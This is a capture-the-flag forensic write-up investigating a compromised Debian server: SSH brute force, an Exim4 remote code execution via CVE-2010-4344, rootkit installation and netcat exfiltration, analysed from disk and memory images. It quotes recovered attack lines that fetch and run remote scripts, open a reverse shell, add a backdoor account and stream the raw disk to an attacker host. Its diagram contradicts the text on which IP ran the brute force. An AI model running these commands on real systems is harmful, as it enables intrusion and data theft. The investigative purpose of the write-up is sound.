CyberDefenders — Ulysses Lab Writeup
Deep-dive investigation of a compromised Debian server. Covering the complete intrusion lifecycle: SSH brute force detection, Exim4 remote code execution (CVE-2010-4344), trojaned Linux rootkit unpacking, volatile memory analysis with custom Volatility kernel profiles, and raw disk/RAM exfiltration streams.
41-Ulysses.zip (436 MB)
Source: C:\CTFS\CyberDefenders\Ulysses Lab (contains victoria-v8.sda1.img, victoria-v8.memdump.img, and Debian5_26.zip)
Forensic Theory & Memory Demystified
The Disk vs Memory Golden Rule
In this investigation you are provided with two distinct forms of digital evidence: a raw disk image (victoria-v8.sda1.img) and volatile memory dumps (victoria-v8.memdump.img). Knowing which evidence source answers which question is fundamental:
Contains persistent data written to non-volatile storage over time. Use for checking authentication logs (/var/log/auth.log), mail server histories, package manager records, dropped files, and startup configs.
Captures the instantaneous state of RAM at acquisition time. Essential for uncovering active rootkits, unlinked/hidden processes (e.g. Netcat PID 2169), open network sockets, and payloads that never touch disk.
Why Linux Memory Analysis Requires Custom Profiles
Unlike Windows where kernel structures (like _EPROCESS) maintain general consistency across service packs, Linux is modular and open-source. Every distribution compiles its kernel with unique compiler flags, struct alignments, and memory layout configurations. Volatility requires a tailored profile containing:
module.dwarf: Defines the exact C-struct definitions of the running kernel.System.map: Maps kernel symbol names directly to their runtime memory addresses.
The challenge provides Debian5_26.zip, acting as the translation dictionary that enables Volatility to parse Debian 5 (kernel 2.6.26-2-686) memory structures seamlessly.
Reconnaissance & Initial Access
Q1: The attacker was performing a Brute Force attack. What account triggered the alert?
When an analyst investigates a brute-force alert on a Linux host, the primary evidence source is the authentication log (/var/log/auth.log on Debian/Ubuntu, or /var/log/secure on RHEL/CentOS).
Open the disk image victoria-v8.sda1.img using 7-Zip or FTK Imager (no heavy toolchain required).
Navigate into var ➔ log and extract/view auth.log.
Scroll to the incident window on Feb 6 (lines 45 to 105). You will observe hundreds of rapid SSH authentication failures arriving from 192.168.56.1.
Each failed line explicitly targets user ulysses: Failed password for invalid user ulysses from 192.168.56.1 port 34431 ssh2.
The 7-letter username ulysses matches the CTF format pattern *******.
Feb 6 15:16:20 victoria sshd[2085]: Invalid user ulysses from 192.168.56.1
Feb 6 15:16:20 victoria sshd[2085]: Failed none for invalid user ulysses from 192.168.56.1 port 34431 ssh2
Feb 6 15:16:26 victoria sshd[2085]: Failed password for invalid user ulysses from 192.168.56.1 port 34431 ssh2
Feb 6 15:16:32 victoria sshd[2085]: Failed password for invalid user ulysses from 192.168.56.1 port 34431 ssh2
Feb 6 15:16:40 victoria sshd[2085]: Failed password for invalid user ulysses from 192.168.56.1 port 34431 ssh2
Q2: How many failed login attempts were alerted for the same user?
Scoping the brute-force attempt requires isolating events targeting the specific account while filtering out irrelevant background noise.
The Trap: Running a naive search like grep -i "failed" auth.log | wc -l returns 33. Looking closely at line 18 reveals an unrelated local console failure weeks earlier: Jan 18 17:13:31 victoria login[1995]: FAILED LOGIN (1) on 'tty1' FOR `root`.
Targeted Filter: Grep specifically for failures tied to the targeted account: grep -i "failed" auth.log | grep -i "ulysses" | wc -l ➔ Exactly 32.
Anatomy of the 32 Attempts:
• 8 × Failed none for invalid user ulysses: RFC 4252 initial SSH handshake probes sent by automated scanning tools (Hydra/Medusa) to query server-supported auth methods.
• 24 × Failed password for invalid user ulysses: Actual credential guesses from the attacker wordlist rejected by PAM.
• Total: 8 + 24 = 32 failed login attempts.
# Fast command-line count:
grep -i "failed" auth.log | grep -i "ulysses" | wc -l
# Output: 32
# Notepad++ GUI method:
# Find what: Failed.*ulysses (Regular expression) -> Click Count -> Result: 32 matchesQ3: What kind of system runs on the targeted server?
Fingerprinting the exact operating system release determines which exploits could be viable and tells the forensic team which Volatility profile to construct.
In Linux, OS identification banners reside under /etc/.
Open victoria-v8.sda1.img in 7-Zip or FTK Imager and navigate into etc/.
Inspect /etc/issue.net (the network pre-login banner sent over Telnet/SSH): It reads Debian GNU/Linux 5.0.
Cross-check /etc/debian_version: Displays point release 5.0.7.
This matches the provided Volatility Linux profile archive: Debian5_26.zip (Debian 5 with 2.6.x kernel).
$ cat /etc/issue.net
Debian GNU/Linux 5.0
$ cat /etc/debian_version
5.0.7
Q4: What is the victim's IP address?
Determining the target victim's assigned IP address can be accomplished via disk logs or volatile memory structures.
Method 1 — Disk Inspection (/var/log/daemon.log):
Checking /etc/network/interfaces shows iface eth0 inet dhcp, confirming the IP was allocated dynamically via DHCP.
Open /var/log/daemon.log in 7-Zip or FTK Imager and scroll to the bottom during the Feb 6 boot/lease event at 15:10:22:
Feb 6 15:10:22 victoria dhclient: bound to 192.168.56.102 -- renewal in 1435 seconds.
Method 2 — Memory Forensics (Volatility):
Run vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_ifconfig: Shows interface eth0 configured with IP 192.168.56.102.
Feb 6 15:10:22 victoria dhclient: bound to 192.168.56.102 -- renewal in 1435 seconds.
# Volatility command:
vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_ifconfig
Remote Service Exploitation (Exim4)
Q5: What are the attacker's two IP addresses?
Advanced adversaries separate exploit delivery from payload hosting and C2 listener infrastructure to increase resilience and complicate attribution.
While SSH brute-force traffic originated from 192.168.56.1, investigating the mail server logs reveals the complete two-stage intrusion.
Navigate into var ➔ log ➔ exim4 and open mainlog (or rejectlog).
1. Exploit Delivery IP (192.168.56.101):
Starting at 15:07:13, the remote host 192.168.56.101 connected to the SMTP port and delivered malicious string-expansion buffers: rejected from <root@local.com> H=(abcde.com) [192.168.56.101]: message too big.
2. Staging & Reverse Shell IP (192.168.56.1):
Inspecting the injected ACL string shows the commands executed upon successful exploitation: wget http://192.168.56.1/c.pl -O /tmp/c.pl; perl /tmp/c.pl 192.168.56.1 4444 and wget http://192.168.56.1/rk.tar -O /tmp/rk.tar.
Both IPs are confirmed: 192.168.56.1, 192.168.56.101.
2011-02-06 15:07:13 rejected from <root@local.com> H=(abcde.com) [192.168.56.101]: message too big
2011-02-06 15:08:13 H=(abcde.com) [192.168.56.101] temporarily rejected MAIL <root@local.com>: failed to expand ACL string ...
wget http://192.168.56.1/c.pl -O /tmp/c.pl; perl /tmp/c.pl 192.168.56.1 4444
wget http://192.168.56.1/rk.tar -O /tmp/rk.tar
useradd --gid root --create-home --password ... ulysses
Q7: What service was exploited to gain access to the system?
Distinguishing diversions from actual intrusion vectors is a fundamental principle of incident triage.
Did SSH succeed? Reviewing /var/log/auth.log shows all 32 attempts failed. No successful authentication session was established for user ulysses. The brute force was merely loud noise.
Hunting Exposed Services: Checking service logs under /var/log/ leads to /var/log/exim4/mainlog.
The Exim mail transfer agent (exim4) was listening on TCP port 25.
The logs capture the exploit payload injected into the Exim ACL string: temporarily rejected MAIL: failed to expand ACL string "${run{/bin/sh -c 'wget...'}}".
The service exploited for Initial Access was exim4 (or exim).
2011-02-06 15:08:13 H=(abcde.com) [192.168.56.101] temporarily rejected MAIL <root@local.com>: failed to expand ACL string "${run{/bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl...'}}"Q8: What CVE was used to exploit the mail server?
Vulnerability correlation links the observed exploit payload signature and installed software version to a standardized CVE identifier.
Clue 1 — Installed Package Version: Open /var/log/dpkg.log inside victoria-v8.sda1.img. Locate the Exim package installation line: status installed exim4-daemon-light 4.69-9.
Clue 2 — Payload Signature: The log error failed to expand ACL string "${run{...}}" points directly to Exim string-expansion evaluation.
Clue 3 — Threat Intel Cross-Reference: Searching for Exim 4.69 remote code execution string expansion identifies CVE-2010-4344 (Exim < 4.72 string-expansion buffer overflow permitting remote code execution as Debian-exim/root).
$ grep exim4 /var/log/dpkg.log
status installed exim4-daemon-light 4.69-9
# Threat Intel Correlation:
# Exim 4.69 + String Expansion ACL Execution = CVE-2010-4344
Persistence, Rootkit & Exfiltration
Q9: The attacker downloaded two files to the server. What is the name of the compressed one?
Post-exploitation staging commonly utilizes world-writable directories such as /tmp or /dev/shm to stage reconnaissance tools, backdoors, and rootkits.
From the injected Exim command in Q5, two download operations were staged:
1. wget http://192.168.56.1/c.pl -O /tmp/c.pl (Uncompressed Perl privilege escalation script).
2. wget http://192.168.56.1/rk.tar -O /tmp/rk.tar (Compressed archive containing the rootkit toolkit).
Open victoria-v8.sda1.img in 7-Zip or FTK Imager and navigate into tmp/: Both c.pl and rk.tar reside on disk.
The compressed archive is rk.tar.
wget http://192.168.56.1/c.pl -O /tmp/c.pl;
wget http://192.168.56.1/rk.tar -O /tmp/rk.tar
$ ls -l /tmp/
-rw-r--r-- 1 Debian-exim Debian-exim 3412 Feb 6 15:08 c.pl
-rw-r--r-- 1 Debian-exim Debian-exim 143360 Feb 6 15:08 rk.tar
Q6: What is the PID of the malicious netcat process?
Live volatile processes spawned dynamically in memory leave no traces in standard disk system logs unless audited by kernel hooks.
Disk vs Memory Rule: Ad-hoc utilities like nc (Netcat) do not communicate with syslog or write execution logs to /var/log/. Active execution state exists strictly in volatile RAM.
Analyze the memory dump victoria-v8.memdump.img using Volatility with the provided Debian5_26 profile.
Execute vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_netstat to display all active sockets and associated PIDs.
Locate the outbound connection communicating with attacker IP 192.168.56.1 on port 8888: Handled by process nc with PID 2169.
Cross-validate with linux_pslist: PID 2169 confirms nc running as a child process.
$ vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_netstat
UNIX 2169 nc ...
TCP 192.168.56.102:48321 -> 192.168.56.1:8888 ESTABLISHED nc (PID: 2169)Q10: Which port did the nc command use for data exfiltration?
Following privilege escalation, the adversary initiated mass forensic exfiltration targeting both the physical disk and memory.
Reviewing the Volatility network connection list from Q6 shows:
nc (PID 2169) opened a direct TCP socket from victim IP 192.168.56.102 to 192.168.56.1:8888.
The underlying command executed was a bulk disk and memory carving exfiltration pipeline:
dd if=/dev/sda1 | nc 192.168.56.1 8888 (streaming the raw partition).
memdump | nc 192.168.56.1 8888 (streaming volatile RAM).
The destination port used for data exfiltration was 8888.
# Volatility linux_netstat output:
TCP 192.168.56.102:48321 192.168.56.1:8888 ESTABLISHED nc/2169
# Exfiltration pipeline executed:
dd if=/dev/sda1 | nc 192.168.56.1 8888Q11: Which port did the attacker try to block on the firewall?
Malware authors frequently configure host firewall rules to terminate communication from rival botnets and lock out competing threat actors.
Extract the rootkit archive rk.tar recovered from /tmp/ in Q9.
Inside the extracted toolkit, open install.sh in a text editor.
Search for firewall manipulation commands: iptables or dport.
Notice the rule inserted into system startup scripts (/etc/init.d/boot.local, /etc/rc.d/rc.local):
/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP.
Threat Intel Context: Port 45295 is the default hardcoded command-and-control beacon port for the classic SHV4 / SHV5 (SuckIT) Linux rootkits. By dropping outbound traffic to port 45295, the adversary severed existing competitor botnet implants and secured exclusive control over the compromised host.
The blocked port is 45295.
# Excerpt from install.sh in rk.tar:
/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
echo "/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP" >> /etc/init.d/boot.local
echo "/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP" >> /etc/rc.d/rc.localEnd-to-End Attack Lifecycle & Kill Chain
Connecting every question (Q1 to Q11) along the MITRE ATT&CK and Cyber Kill Chain lifecycle.
+---------------------------------------------------------+
| ATTACKER MACHINE 1 (attacks) |
| 192.168.56.101 |
+--------------+----------------------------+-------------+
| |
[1] SSH Brute Force (port 22) [2] Malicious SMTP mail (port 25)
user 'ulysses' (32 failures) CVE-2010-4344 RCE exploit
| |
v v
+---------------------------------------------------------+
| COMPROMISED TARGET SERVER |
| 192.168.56.102 |
| (OS: Debian GNU/Linux 5.0) |
| |
| - Exploited service: exim4 (daemon) |
| - Payloads in /tmp: c.pl (privesc) + rk.tar (rootkit)|
| - Trojan binaries: ps, top, w (hide processes) |
| - Firewall block: iptables DROP port 45295 |
| - Exfil tool: nc (PID 2169) |
+--------------+----------------------------+-------------+
| |
[3] Reverse shell (TCP 4444) [4] Bulk data exfil (TCP 8888)
interactive root access disk (/dev/sda1) + RAM dump
| |
v v
+---------------------------------------------------------+
| ATTACKER MACHINE 2 (staging + C2) |
| 192.168.56.1 |
| |
| - HTTP server: hosted 'c.pl' and 'rk.tar' |
| - TCP 4444: nc -lvnp 4444 (reverse shell) |
| - TCP 8888: nc -lvnp 8888 (exfil receiver) |
+---------------------------------------------------------+Attacker at 192.168.56.1 launches 32 failed login attempts against user ulysses on victim host 192.168.56.102 (Debian GNU/Linux 5.0). The brute force fails, serving as noise.
Attacker at 192.168.56.101 fires an oversized string-expansion buffer overflow against Exim 4.69 on SMTP port 25, achieving Remote Code Execution.
The exploit triggers wget to fetch c.pl and rk.tar from 192.168.56.1, executing a Perl privilege escalation script and opening an interactive root reverse shell on port 4444.
The attacker unpacks rk.tar, installs a backdoor service, trojans ps/top/w to hide processes, and drops outbound traffic to port 45295 to kill rival SHV4/SHV5 rootkits.
The attacker executes dd if=/dev/sda1 | nc 192.168.56.1 8888 (PID 2169) to exfiltrate the raw partition and memory dump across the network to port 8888.